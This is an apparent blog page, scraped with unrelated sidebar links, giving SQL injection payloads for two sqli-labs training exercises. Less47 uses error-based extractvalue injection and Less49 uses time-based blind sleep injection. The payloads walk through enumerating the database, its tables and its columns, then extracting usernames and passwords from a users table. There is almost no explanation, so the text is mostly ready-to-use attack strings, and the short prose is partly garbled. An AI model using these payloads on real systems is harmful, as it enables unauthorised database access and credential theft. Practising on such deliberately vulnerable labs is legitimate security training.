当前位置:网站首页>SQL injection Less47 (error injection) and Less49 (time blind injection)
SQL injection Less47 (error injection) and Less49 (time blind injection)
2022-07-31 22:51:00 【HUAWEI CLOUD】
Less47 and Less49 can't use rand() Boolean blind annotation
Because there are single quotes to closeorder by 'rand()'
This statement obviously cannot be executedp>
Less47
?sort=1' and extractvalue(0,concat(0x7e,database()))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
?sort=1' and extractvalue(0,concat(0x7e, (select group_concat(username,password) from users)))--+
Less49
?sort=1' and sleep(5)--+
?sort=1' and if(1,sleep(5),0)--+
?sort=1' and if(length(database())=8,sleep(5),0)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
?sort=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+
?sort=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)--+
边栏推荐
- Dry goods | 10 tips for MySQL add, delete, change query performance optimization
- hboot and recovery, boot.img, system.img
- [QNX Hypervisor 2.2 User Manual]9.14 set
- UOS统信系统 - WindTerm使用
- Unity - LineRenderer show a line
- TypeScript 的组件
- SQL注入 Less54(限制次数的SQL注入+union注入)
- Collation of knowledge points in Ningbo University NBU IT project management final exam
- The latest masterpiece!Alibaba just released the interview reference guide (Taishan version), I just brushed it for 29 days
- A high-quality WordPress download site template theme developed abroad
猜你喜欢
The latest masterpiece!Alibaba just released the interview reference guide (Taishan version), I just brushed it for 29 days
Daily--Kali opens SSH (detailed tutorial)
How to identify fake reptiles?
UOS统信系统 - WindTerm使用
A high-quality WordPress download site template theme developed abroad
The article you worked so hard to write may not be your original
【Acwing】The 62nd Weekly Game Solution
Handwritten a simple web server (B/S architecture)
【ACM】2022.7.31训练赛
(26)Blender源码分析之顶层菜单的关于菜单
随机推荐
手写一个简单的web服务器(B/S架构)
Structure of the actual combat battalion module eight operations
Implementation of a sequence table
【Acwing】第62场周赛 题解
[Intensive reading of the paper] iNeRF
IDA PRO中汇编结构体识别
Judging decimal points and rounding of decimal operations in Golang
UserAgent resolution
hboot and recovery, boot.img, system.img
uniapp小程序检查、提示更新
BM5 merge k sorted linked lists
C程序设计-方法与实践(清华大学出版社)习题解析
如何减少软件设计和实现之间鸿沟
Write a database document management tool based on WPF repeating the wheel (1)
MySQL数据库‘反斜杠\’ ,‘单引号‘’,‘双引号“’,‘null’无法存储
Efficient Concurrency: A Detailed Explanation of Synchornized's Lock Optimization
"APIO2010" Patrol Problem Solution
"The core concept of" image classification and target detection in the positive and negative samples and understanding architecture
程序进程和线程(线程的并发与并行)以及线程的基本创建和使用
Shell常用脚本:Nexus批量上传本地仓库脚本